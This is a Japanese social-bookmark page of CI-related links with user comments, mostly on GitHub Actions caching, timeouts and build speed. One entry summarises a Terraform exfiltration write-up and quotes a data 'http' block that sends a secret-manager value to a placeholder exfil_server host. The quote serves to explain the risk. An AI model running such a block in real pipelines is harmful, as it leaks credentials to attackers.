タグ

ciに関するKesinのブックマーク (172)

  • GitHub Actions Cache Server

    Easily deploy your own GitHub actions cache without needing to change any workflow files! version: '3.9' services: cache-server: image: ghcr.io/falcondev-oss/github-actions-cache-server:latest ports: - '3000:3000' environment: API_BASE_URL: http://localhost:3000 volumes: - cache-data:/app/.data volumes: cache-data:

    Kesin
    Kesin 2024/07/23
    GitHub Actionsのキャッシュサーバーをセルフホストできるらしい。キャッシュの向き先は本来変更できないはずなのだけど、セルフホストランナーの.dllのバイナリにパッチを当てることで無理やり向き先を変えるらしい
  • GitHub Actions の timeout-minutes の linter 及び一括設定ツール

    GitHub Actions の timeout-minutes に関する lint rule 及び一括で timeout-minutes を設定するツールを作ったので紹介します。 timeout-minutes とは timeout-minutes は GitHub Actions の job 及び step (workflow は対応していないはず) の設定項目の一つで、 job 及び step のタイムアウトです。 timeout-minutes で設定した時間以内に job 及び step が完了しない場合に強制的に終了し失敗扱いになります。 デフォルトは 360 分です。 ただし、 reusable workflow を使っている job は timeout-minutes をサポートしていません。 なぜ timeout-minutes を設定すべきなのか デフォルトの 6 時間

    GitHub Actions の timeout-minutes の linter 及び一括設定ツール
    Kesin
    Kesin 2024/06/29
    タイムアウトは設定しておいた方が安全なのだけどつい面倒で省略してしまうので一括で設定してくれるツールは便利そう
  • GitHub - suzuki-shunsuke/ghatm: Set timeout-minutes to all GitHub Actions jobs

    Kesin
    Kesin 2024/06/28
    ワークフローにtimeout-minutesを付けてくれるツール。デフォルトのタイムタウトはかなり長いので何かあったときの費用節約の保険として一括で設定したい場合に便利そう
  • Contributing to Exercism | Exercism's Docs

    Kesin
    Kesin 2024/06/28
    cancel-in-progress: ${{ startsWith(github.ref, 'refs/pull/') }} この設定いいな
  • AWA AndroidチームのCI/CD | CyberAgent Developers Blog

    はじめに AWA Androidチームの向井です AndroidチームではCI/CDによって日々の作業を自動化しています この記事ではAWA Androidチームの開発で運用しているCI/CDについて紹介していこうと思います 基的にAndroid開発の話なので具体的な内容についてはAndroid前提となってしまうのですが、どういった作業を自動化しているのかという観点ではAndroidに限らず活用できる部分もあると思います KtLintLint、Unit Test CIではktLintAndroid Lint、Unit Testを実行しています 最初はこれらのタスクを実行するだけで運用していたのですが、コードベースが大きくなり次第に実行時間が長くかかるようになってしまいました これらのタスクはGithub Actionsを使って実行していますが、並列数も多くはなく、PRを出すたびにCI

    AWA AndroidチームのCI/CD | CyberAgent Developers Blog
    Kesin
    Kesin 2024/05/27
    gitの変更履歴から影響があるモジュールを特定するAffectedModuleDetectorを使ってユニットテストとLintの対象を絞ることでCI時間を短縮
  • Making EC2 boot time 8x faster

    It's possible to cut EC2 boot time from 40 seconds to 5 seconds by combining several optimizations like root volume streaming, instance warm pools, and instance resizing. It is possible to increase the speed at which EC2 instances boot! This can be critical for certain types of workloads, where a fresh EC2 instance is needed to process some request or task. At Depot, we accelerate builds, so the E

    Making EC2 boot time 8x faster
    Kesin
    Kesin 2024/05/26
    depotのインフラであるEC2の起動時間を40sから5sまで短縮したテクニック。AMIスナップショットから起動するとS3からコピーするのに時間がかかるので、1回起動して中断しておき必要になったら再起動することで5sで起動できる
  • Runner 3.0.22 Release

    Kesin
    Kesin 2024/05/25
    CircleCIのセルフホストランナーでコンテナタイプのときにスポットインスタンスを使っているなどの理由でPodが中断された場合に自動リトライするオプションが追加された。Github Actionsでも何か真似できないかな
  • Ruby アプリケーションのフルテストを並列数を上げて高速化する

    Kesin
    Kesin 2024/05/15
    テストコード自体の改善とJenkins用のオートスケールの改善。常設を日中だけにして費用削減、稼働中のagentからコピーすることで初回にgitのキャッシュがなくて遅い問題を改善。にしても96vCPUでテストするのすごい規模だ
  • GitHub Actions 上での Go の Docker ビルドを高速化する

    どうも GitHub Actions 上で Docker ビルドを行うと時間がかかるなぁと感じていました。 かなり軽量の Go の Web アプリケーションを Docker イメージにしてプッシュするプロセスなのですが、全体で 3 分ほどかかっています。 今回はその速度改善を行ったので、得た知見を記事にしたいと思います。 最終的に、ケース次第では以下のような結果を出すことができました。 ※ケース = go のソースコードのほんの一部を変更してワークフローを実行する。 go.mod など依存関係に変化はない。 go build: 60秒 → 1秒 docker/build-push-action ステップ: 2分30秒 → 30秒 ワークフロー: 3分 → 1分 前提 go buildDockerfile のステップで行っており、イメージとして以下のような内容になっています。 FROM

    GitHub Actions 上での Go の Docker ビルドを高速化する
    Kesin
    Kesin 2024/05/13
    レイヤーキャッシュではなくて比較的新しいRUN --mount=type=cacheでdocker build内のgo buildを速くしている。普通はCIだとキャッシュが残らないけど、buildkit-cache-danceがhackっぽい方法でキャッシュを保存することで有効化できてる
  • actions/cache@v4ではヒットしなかったときcache-hit=='false'にならない - ぽよメモ

    cache-hitとは v4における挙動変更(?) cache-hitがfalseを返さない ワークアラウンド cache-hitとは GitHub Actionsのキャッシュ用actionであるactions/cacheは、指定したキーに完全一致するキャッシュがヒットしたかどうかのパラメータをそのstepのoutputとして保持している。 つまり以下の様にすることで、キャッシュがヒットしたかどうかを判定し、何かアクションするということが可能である。 jobs: run: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/cache@v4 id: cache with: path: ./cache-dir key: your-cache-key - if: steps.cache.output

    actions/cache@v4ではヒットしなかったときcache-hit=='false'にならない - ぽよメモ
  • LLM校正CIを自社のブログに導入してみた - NTT Communications Engineers' Blog

    マネージド&セキュリティサービス部サービスプラットフォーム部門の田中です。 2023年度の下期にダブルワークという社内施策で、イノベーションセンター生成AIチームに参加しました。 その取り組みとして、ブログの記事データを管理している GitHub リポジトリに LLM (大規模言語モデル) の1つである GPT-4 を用いた校正CIを導入してみました。 適切なプロンプトを得るための試行錯誤や、この記事自体を校正させてみた結果をお伝えします。 目次 目次 背景 LLM校正CIの詳細 プロンプトの試行錯誤 この記事の校正結果 おわりに 背景 ブログ記事のデータ管理やレビューには GitHub を利用しています。 投稿者は記事を執筆した後 PR (Pull Request) を出し、レビュアーが PRコメントで記事の修正を提案し、推敲していきます (なお、GitHubを活用した記事公開プロセ

    LLM校正CIを自社のブログに導入してみた - NTT Communications Engineers' Blog
    Kesin
    Kesin 2024/04/17
    LLMに修正提案を出してもらう際にJSONで出してもらってreviewdogみたいなツールに繋げるのいいな
  • Next.js 製アプリケーションの CI の実行時間削減や安定性向上のために取り組んだこと - Cybozu Inside Out | サイボウズエンジニアのブログ

    こんにちは!DOGO プロジェクトでソフトウェアエンジニアとして活動している @nissy_dev です。 DOGO プロジェクトでは、画面刷新を進めていく中で CI の実行時間が長く不安定になってしまい、開発生産性に大きな影響が出ていました。今回の記事では、CI の課題改善のために取り組んだことを紹介します。 目次 DOGO について CI を改善することになった背景 CI の改善のために取り組んだこと ビルド時に tsc を実行しない .next/cache を除いて、artifacts にアップデートする E2E テストをより多くの shard 数で分割する Playwright のブラウザのインストールをキャッシュする PR ではコード差分に関連するテストのみを実行する Hydration の挙動によってテストが flaky になっていた問題の解消 CI の改善の結果 今回取り組ま

    Next.js 製アプリケーションの CI の実行時間削減や安定性向上のために取り組んだこと - Cybozu Inside Out | サイボウズエンジニアのブログ
    Kesin
    Kesin 2024/04/08
    Playwrightのキャッシュやconcurrency.cancel-in-progressなども面白いけど、実装側とE2Eのページモジュールの構造を一致させておいて、CIでmadgeを使って実装側のdiffと依存するファイルを検出 -> 対応するE2Eだけ実行が面白いな
  • デジタル社会推進標準ガイドライン|デジタル庁

    デジタル社会を実現するためには、「共通ルール」の下で関係者が協働し、価値を生み出すことが重要です。 デジタル社会推進標準ガイドライン群は、サービス・業務改革並びにこれらに伴う政府情報システムの整備及び管理についての手続・手順や、各種技術標準等に関する共通ルールや参考ドキュメントをまとめたものです。 各ドキュメントの位置づけには、次の2種類が存在します。 標準ガイドライン(Normative):政府情報システムの整備及び管理に関するルールとして順守する内容を定めたドキュメント実践ガイドブック(Informative):参考とするドキュメントこれまでは、「デジタル・ガバメント推進標準ガイドライン群」という名称で各種ガイドラインを策定しておりましたが、デジタル庁として政府内部だけでなく社会全体のデジタル化を推進するという観点から、これらのドキュメント体系の名称について「デジタル社会推進標準ガイド

    デジタル社会推進標準ガイドライン|デジタル庁
  • リリース戦略を支えるCI/CDパイプライン | ドクセル

    スライド概要 マイクロサービスアーキテクチャを採用したプロジェクトにおいて、複数のチームが協力してリリーストレインを進める際に、自律的かつ効率的なリリース調整を行う方法を紹介します。 リリース戦略においてマイクロサービスアーキテクチャの特性を考慮し、チーム間のコミュニケーションを最小限に抑えつつ、効率的なプロセスを実現するためのアプローチおよびそれを支えCI/CDのワークフローに触れます。 イベントページはこちら https://testnight.connpass.com/event/311263/

    リリース戦略を支えるCI/CDパイプライン | ドクセル
    Kesin
    Kesin 2024/03/27
    リリーストレインによる自動化のためのタグ打ちをsemverで自動化、リリース作業もtagprを利用してpull-reqから行えるようにしている
  • CI の DX とセキュリティ

    CI の DXセキュリティ Shunsuke Suzuki 2024-03-26 CI/CD Test Night

    CI の DX とセキュリティ
  • 業務で使えるかもしれない…!?GitHub Actions の Tips 集 / CI/CD Test Night #7

    https://testnight.connpass.com/event/311263/

    業務で使えるかもしれない…!?GitHub Actions の Tips 集 / CI/CD Test Night #7
    Kesin
    Kesin 2024/03/27
    matrixにJSONを渡せるのは知らなかった。Github Actionsは動的に実行するジョブの制御をほぼできないのだけど、このテクニックを使えばたしかにある程度は動的に制御できそう
  • PATを使わずにGithub Appを使ってGithub ActionsでPrivate Repoを参照する話

    PATを使わずに GitHub Appを使ってGitHub ActionsでPrivate Repoを参照する話 2024/03/23 (sun) GitHub dockyard #2

    PATを使わずにGithub Appを使ってGithub ActionsでPrivate Repoを参照する話
    Kesin
    Kesin 2024/03/25
    PATよりGitHub Appsの方が良いと思いつつ、作成する方法が分からない/面倒という方に特にオススメしたいスライド。1つ1つの手順が網羅されていてわかりやすい
  • GitHub ActionsでファイルをS3にキャッシュするアクションを作りました - プログラムモグモグ

    GitHub Actionsでは依存パッケージやビルド結果などをうまくキャッシュすることで、テストやビルドの時間を短縮できます。 actions/setup-nodeやactions/setup-javaなどの各言語のオフィシャルアクションは各パッケージマネージャーのためのキャッシュ機構を提供していますし、actions/cacheを使って任意のファイルをキャッシュすることもできます。 これらは内部で@actions/cacheパッケージを使っており、キャッシュの機構はGitHub自身の機能と密に結びついています。 しかし、GitHub Actionsのキャッシュはリポジトリごとに10GBまでという制限があり、開発者の多いリポジトリではsetup-nodeのキャッシュだけでもすぐに上限に達してしまいます。 私の所属するチームのリポジトリはGitHub Enterprise Serverにホ

    GitHub ActionsでファイルをS3にキャッシュするアクションを作りました - プログラムモグモグ
    Kesin
    Kesin 2024/03/22
    大規模なリポジトリだとキャッシュ上限の10GBを超えてしまうのは見たことがある。最終的には自前のオブジェクトストレージに保存ということになるか
  • Bucket full of secrets – Terraform exfiltration

    が面白いので要点をまとめる Terraform の CI/CD において機密情報を流出させる方法とその対策が、具体的な攻撃コードを交えて紹介されている。 結論を言うと完全な対策はない。 前提: Pull Request で terraform plan を実行する Level 1 – Let me GET your data http data source を使い、外部に secret を流出させる data "http" "example" { count = local.chunks url = "http://${var.exfil_server}/http/${data.google_secret_manager_secret_version.secret.secret_data}" }

    Kesin
    Kesin 2024/03/16
    言われてみたらたしかに、という内容だけど安全に倒すならplanも自動実行は禁止するしかなさそう。悪意あるユーザーにどこまで侵入されてしまっているかの想定次第だろうか
  • RailsのCIのテスト実行時間を 10分から5分に高速化した話 - Findy Tech Blog

    FindyでEMをしている栁沢(@nipe0324a)です。 今回は、FindyのとあるRailsのCIのテスト実行時間を10分から5分に高速化した話をご紹介します。 「CIのテスト実行時間が遅い...」 「CIの実行時間を短くしたい!!」 と感じている方はぜひご覧くださいませ。 Findyでは2024年2月現在、1人あたり1日4プルリクを平均で作っています。静的解析や自動テストなどを即時に行うCI環境がないとスピード感のある開発ができなくなるため、CIを高速で回しタスクを完了させる必要があります。機能も増え、テストケースも拡充したことでCIの高速化が求められるようになりました。 また、個人的には、CIは遅くても10分、理想は5分以内で終わるのを1つの目安にしています。これぐらいのスピード感でCIが完了すると、「プルリク作ってレビュー依頼する」、「レビューコメントもらって対応する」といった

    RailsのCIのテスト実行時間を 10分から5分に高速化した話 - Findy Tech Blog
    Kesin
    Kesin 2024/03/04
    “必ずしもCI待ち時間がムダではないですが、エンジニアの人件費を考えると費用対効果は高いのではと考えています。”